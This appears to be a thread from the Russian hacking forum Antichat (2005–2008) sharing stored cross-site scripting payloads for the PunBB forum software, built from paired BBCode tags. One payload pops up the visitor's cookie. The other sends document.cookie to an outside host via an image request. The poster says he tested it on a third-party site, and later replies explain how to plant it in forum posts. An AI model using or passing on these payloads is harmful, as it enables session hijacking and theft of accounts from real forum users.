Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   XSS в PunBB (вложеные теги) (https://forum.antichat.xyz/showthread.php?t=5764)

KEZ 31.03.2005 17:09
XSS в PunBB (вложеные теги)
 
Нашел вложеные теги, сделал видео.

1.
Код:
[еmail=[urл=s=`]a[/urл]]a[/еmail]`xss=`alert(document.cookie);this.xss=null` style=top:expression(eval(this.xss));
2.
Код:
[еmail=[urл=s=`]a[/urл]]a[/еmail]`xss=`i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null` style=top:expression(eval(this.xss));
ВНИМАНИЕ! Намеренно (чтобы теги не парсились) я написал [емейл] через _рускую_ е и url тоже через Л.
Перепешите А НЕ КОПИРУЙТЕ ТЕКСТ!

Проверялось на http://region59.com/forum - между прочим хороший варез - сайт

PinkPanther 31.03.2005 21:59
Блин, матерые какие-то у тебя XSS-inj.. Я ещё не проверял, но имхо можно было бы сделать и короче. Хотя, хз, посмотрим...........


Кстати, а где видео? Если записал, почему ещё не вывесил?

expertlamer 01.04.2005 01:25
KEZ ты хотел сказать спаренные теги а не вложенные правда?

Нет там вложенных тегов у тебя есть спаренные. :rolleyes:

KEZ 01.04.2005 14:27
Мои теги САМЫЕ простые. Проще некуда. Теги+baclslash и все. Проше незя.
Видео сделал. Вложеные теги = спареные теги.

KEZ 01.04.2005 18:32
Видео уже вывесил.
А вот насчет тегов - там все проще некуда

Kond4r 08.10.2005 01:33
Спасибо Kez. Ты дал мне ответ на одну проблемму с которой я мучился целых два дня!

ch[@]ch 23.03.2008 22:48
Цитата:
Сообщение от KEZ
Нашел вложеные теги, сделал видео.

1.
Код:
[еmail=[urл=s=`]a[/urл]]a[/еmail]`xss=`alert(document.cookie);this.xss=null` style=top:expression(eval(this.xss));
2.
Код:
[еmail=[urл=s=`]a[/urл]]a[/еmail]`xss=`i=new Image(); i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null` style=top:expression(eval(this.xss));
ВНИМАНИЕ! Намеренно (чтобы теги не парсились) я написал [емейл] через _рускую_ е и url тоже через Л.
Перепешите А НЕ КОПИРУЙТЕ ТЕКСТ!

Проверялось на http://region59.com/forum - между прочим хороший варез - сайт
кинь пожалуйста пример как им пользоваться...заранее спасибо

+toxa+ 23.03.2008 23:17
Отредактируй код под нужный тебе вставь с сообщение на форуме


Время: 22:28